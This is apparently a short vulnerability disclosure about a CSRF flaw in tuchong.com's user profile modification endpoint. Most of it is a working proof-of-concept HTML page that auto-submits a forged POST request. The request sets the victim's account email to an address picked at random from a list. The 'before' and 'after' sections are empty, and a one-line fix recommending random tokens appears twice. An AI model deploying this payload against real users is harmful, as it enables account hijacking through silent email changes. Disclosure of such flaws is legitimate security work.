POC:
<html> <body> <form name="csrf" action="http://tuchong.com/api/user/modify/" method="POST"> <input type=text name=section value="basicinfo"></input> <script> var email =['root1@wooyun.org','root2@wooyun.org','root3@wooyun.org','root4@wooyun.org','root5@wooyun.org','root6@wooyun.org','root7@wooyun.org','root8@wooyun.org','root9@wooyun.org','root10@wooyun.org']; function Rand(arr, len) { arr.sort(function () { return Math.random()-0.5; }); return arr.slice(0, len); } //alert(Rand(email,1)); document.write("<input type=text name=user_email value="+Rand(email,1)+"></input>"); </script> <input type="submit" value="submit" /> </form> <script> document.csrf.submit(); </script> </body> </html>
before:

after:


修复方案:
任何涉及用户信息的操作都应该需要随机的token
任何涉及用户信息的操作都应该需要随机的token